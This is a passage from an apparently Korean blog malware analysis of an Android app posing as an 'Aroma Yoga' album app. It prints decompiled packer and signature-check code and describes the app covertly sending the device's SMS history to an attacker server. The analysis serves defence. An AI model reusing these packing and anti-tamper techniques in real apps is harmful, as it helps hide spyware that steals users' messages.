lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;따라서&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;재작성한&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;m()&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;함수&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;디컴파일&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;코드는&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;다음과&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;같다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1731510512413&quot; style=&quot;background-color: #f8f8f8; color: #383a42;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;kotlin&quot;&gt;&lt;code&gt;public static void m(Application application0) {
    String s = &quot;android.app.LoadedApk&quot;;
    String s1 = &quot;android.app.ActivityThread&quot;;
    Application application1 = StubApp.d;
    if (application1 != null &amp;amp;&amp;amp; !&quot;com.stub.StubApp&quot;.equals(application1.getClass().getName())) {
        try {
            Context context0 = application0.getBaseContext();
            StubApp.l(context0.getClass(), context0, new Object[]{StubApp.d}, &quot;setOuterContext&quot;, new Class[]{Context.class});
            Object object0 = StubApp.g(context0.getClass(), context0, &quot;MainThread&quot;);
            StubApp.p(s1, object0, &quot;InitialApplication&quot;, StubApp.d);
            ArrayList arrayList0 = (ArrayList) StubApp.h(s1, object0, &quot;AllApplications&quot;);
            arrayList0.add(StubApp.d);
            arrayList0.remove(application0);
            Object object1 = StubApp.g(context0.getClass(), context0, &quot;PackageInfo&quot;);
            StubApp.p(s, object1, &quot;Application&quot;, StubApp.d);
            ApplicationInfo applicationInfo0 = (ApplicationInfo) StubApp.h(s, object1, &quot;ApplicationInfo&quot;);
            applicationInfo0.className = StubApp.d.getClass().getName();
            StubApp.d.onCreate();
        } catch (Exception exception0) {
            exception0.printStackTrace();
        }
        return;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;이 함수 코드는 앱을 분석하기 전 리플렉션을 통해 앱 내부 상태를 조정하고 초기화하는 것임을 확인한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후에는 변조된 앱의 실행을 막기 위해 무결성 검증을 실시한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1731510512413&quot; style=&quot;background-color: #f8f8f8; color: #383a42;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;kotlin&quot;&gt;&lt;code&gt;public static String e(Context context0) {
        Signature[] arr_signature1;
        try {
            PackageManager packageManager0 = context0.getPackageManager();
            Signature[] arr_signature = new Signature[0];
            try {
                arr_signature1 = packageManager0.getPackageInfo(&quot;bfaefadc.jcedeaed.bhcfhaie&quot;, 0x40).signatures;
            }
            catch(PackageManager.NameNotFoundException packageManager$NameNotFoundException0) {
                packageManager$NameNotFoundException0.printStackTrace();
                goto label_10;
            }
            arr_signature = arr_signature1;
        label_10:
            if(arr_signature != null &amp;amp;&amp;amp; arr_signature.length &amp;gt; 0) {
                return StubApp.i(arr_signature[0]);
            }
        }
        catch(Exception exception0) {
            exception0.printStackTrace();
        }
        return null;
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;PackageManager&lt;/span&gt;&lt;span&gt;를&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;통해&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;설치된&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;패키지에&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;대한&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;정보를&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;가져오고&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;서명을&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;저장한다&lt;/span&gt;&lt;span&gt;. &amp;ldquo;bfaefadc.jcedeaed.bhcfhaie&amp;rdquo;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;패키지&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;서명을&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;가져오려고&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;하는데&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;PackageManager.GET_SIGNATURES(0x40)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;플래그를&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;사용하여&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;서명&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;정보를&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;저장한다&lt;/span&gt;&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;만약&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;해당&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;패키지를&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;발견하지&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;못하면&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;빈&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;배열로&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;유지한다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Stub.this.r()&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;함수를 호출한다. 이 함수도 난독화되어 있으나 설명은 생략하고 복호화된 코드로 바로 분석한다.&lt;/p&gt;
&lt;pre id=&quot;code_1731510512415&quot; style=&quot;background-color: #f8f8f8; color: #383a42;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;kotlin&quot;&gt;&lt;code&gt;if (!activity.getPackageName().equals(&quot;com.example.somepackage&quot;) || !&quot;expectedSignatureValue&quot;.equals(e)) {
    StubApp.this.r(activity, &quot;someStringForTrueCondition&quot;, true);
} else if (!new StringBuilder(&quot;444444448888888888&quot;).toString().contains(&quot;4&quot;)) {
    StubApp.this.r(activity, &quot;someStringForFalseCondition&quot;, false);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;대상앱의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;패키지명이&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;ldquo;com.example.somepackage&amp;rdquo;&lt;/span&gt;&lt;span&gt;와&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;일치하지&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;않으므로&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;조건문의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;참&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;조건으로&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;실행한다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span&gt;5.2.2. 앱 실행 및 화면&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;161&quot; data-origin-height=&quot;338&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ADKqp/btsKuj8PVRV/KZJ6UaCogH5ezD1oRUPSlk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ADKqp/btsKuj8PVRV/KZJ6UaCogH5ezD1oRUPSlk/img.png&quot; data-alt=&quot;앱 실행 화면&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ADKqp/btsKuj8PVRV/KZJ6UaCogH5ezD1oRUPSlk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FADKqp%2FbtsKuj8PVRV%2FKZJ6UaCogH5ezD1oRUPSlk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;188&quot; height=&quot;395&quot; data-origin-width=&quot;161&quot; data-origin-height=&quot;338&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;앱 실행 화면&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;앱&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;실행&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;시&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;ldquo;&lt;/span&gt;&lt;span&gt;아로마요가&lt;/span&gt;&lt;span&gt;&amp;rdquo;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;메시지와&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;하단의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;ldquo;&lt;/span&gt;&lt;span&gt;앨범&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;열기&lt;/span&gt;&lt;span&gt;&amp;rdquo;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;버튼을&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;확인할&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;수&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;있다&lt;/span&gt;&lt;span&gt;. &amp;ldquo;&lt;/span&gt;&lt;span&gt;앨범&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;열기&lt;/span&gt;&lt;span&gt;&amp;rdquo;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;버튼을&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;터치하면&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;사용자에게&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;시스템&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;접근&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;권한을&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;요청한다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b6538k/btsKvMolXul/ZlixOKIqmJ5tLIErNZ7rvK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b6538k/btsKvMolXul/ZlixOKIqmJ5tLIErNZ7rvK/img.png&quot; style=&quot;width: 32.6356%; margin-right: 10px;&quot; data-widthpercent=&quot;33.41&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;307&quot; data-origin-width=&quot;147&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6538k/btsKvMolXul/ZlixOKIqmJ5tLIErNZ7rvK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb6538k%2FbtsKvMolXul%2FZlixOKIqmJ5tLIErNZ7rvK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;147&quot; height=&quot;307&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ogvSs/btsKtK0ikZb/1n5pBKuviPY3BdOlfvgIvk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ogvSs/btsKtK0ikZb/1n5pBKuviPY3BdOlfvgIvk/img.png&quot; style=&quot;width: 32.5296%; margin-right: 10px;&quot; data-widthpercent=&quot;33.3&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;308&quot; data-origin-width=&quot;147&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ogvSs/btsKtK0ikZb/1n5pBKuviPY3BdOlfvgIvk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FogvSs%2FbtsKtK0ikZb%2F1n5pBKuviPY3BdOlfvgIvk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;147&quot; height=&quot;308&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5qqFn/btsKtL53XR7/sDOj9dgKXTmP9azvvfceDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5qqFn/btsKtL53XR7/sDOj9dgKXTmP9azvvfceDk/img.png&quot; style=&quot;width: 32.5092%;&quot; data-widthpercent=&quot;33.29&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;304&quot; data-origin-width=&quot;145&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5qqFn/btsKtL53XR7/sDOj9dgKXTmP9azvvfceDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5qqFn%2FbtsKtL53XR7%2FsDOj9dgKXTmP9azvvfceDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;145&quot; height=&quot;304&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;연락처 접근, 전화걸기, 문자(SMS) 접근 권한을&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;요청&lt;/span&gt;하며&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;권한을&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;모두&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;허용한&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;경우&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;앱이&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;정상적으로&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;동작한다&lt;/span&gt;&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;허용하지&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;않는&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;경우&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;경고창을&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;띄우며&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;앱을&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;종료한다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;권한을&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;허용한&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;이후에는&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;화면변화 없이 사용자가 인지하지 못한 채 악성 행위가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;동작&lt;/span&gt;&lt;/b&gt;한다&lt;/span&gt;&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;먼저&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;새로운&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;피해&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;단말이&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;등록되었음을&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;알리는&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;패킷을&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;공격자의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;서버로&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;전송한다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;418&quot; data-origin-height=&quot;273&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d2HKKV/btsKvA2LK7l/1K1zd5R3UkHXRyKN1JZi00/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d2HKKV/btsKvA2LK7l/1K1zd5R3UkHXRyKN1JZi00/img.png&quot; data-alt=&quot;공격자의 서버로 패킷 전송&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d2HKKV/btsKvA2LK7l/1K1zd5R3UkHXRyKN1JZi00/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd2HKKV%2FbtsKvA2LK7l%2F1K1zd5R3UkHXRyKN1JZi00%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;589&quot; height=&quot;385&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;418&quot; data-origin-height=&quot;273&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;공격자의 서버로 패킷 전송&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;분석&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;시점&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;현재&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;공격&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;서버가&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;동작하지&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;않아&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;응답은&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;확인할&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;수&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;없다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;첫&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;번째&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;패킷을&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;전송한&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;이후에는&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;단말에&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;저장된&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;문자&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;송수신&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;기록&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;전체를&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;전송한다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsbLa2/btsKub4bUhU/CLoBasyJK95wrlIlJf3EBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsbLa2/btsKub4bUhU/CLoBasyJK95wrlIlJf3EBK/img.png&quot; style=&quot;width: 74.0886%; margin-right: 10px;&quot; width=&quot;552&quot; height=&quot;331&quot; data-widthpercent=&quot;74.96&quot; data-filename=&quot;blob&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;275&quot; data-origin-width=&quot;459&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsbLa2/btsKub4bUhU/CLoBasyJK95wrlIlJf3EBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsbLa2%2FbtsKub4bUhU%2FCLoBasyJK95wrlIlJf3EBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;459&quot; height=&quot;275&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/copKpf/btsKtWGeyLV/n09AmlukE1ivd7a34T6hwk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/copKpf/btsKtWGeyLV/n09AmlukE1ivd7a34T6hwk/img.png&quot; style=&quot;width: 24.7486%;&quot; data-widthpercent=&quot;25.04&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;391&quot; data-origin-width=&quot;218&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/copKpf/btsKtWGeyLV/n09AmlukE1ivd7a34T6hwk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcopKpf%2FbtsKtWGeyLV%2Fn09AmlukE1ivd7a34T6hwk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;218&quot; height=&quot;391&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;공격자 서버로 문자 송수신 기록 전송 패킷&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;송수신한 문자 전체를 공격자의 서버로 전송하고 있음을 패킷 및 단말 로그를 통해 확인한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;484&quot; data-origin-height=&quot;123&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c2DQzk/btsKuQ6bfCO/e5sfmhXJn8YQEbrd0XcJhK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c2DQzk/btsKuQ6bfCO/e5sfmhXJn8YQEbrd0XcJhK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c2DQzk/btsKuQ6bfCO/e5sfmhXJn8YQEbrd0XcJhK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc2DQzk%2FbtsKuQ6bfCO%2Fe5sfmhXJn8YQEbrd0XcJhK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;811&quot; height=&quot;206&quot; data-origin-width=&quot;484&quot; data-origin-height=&quot;123&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
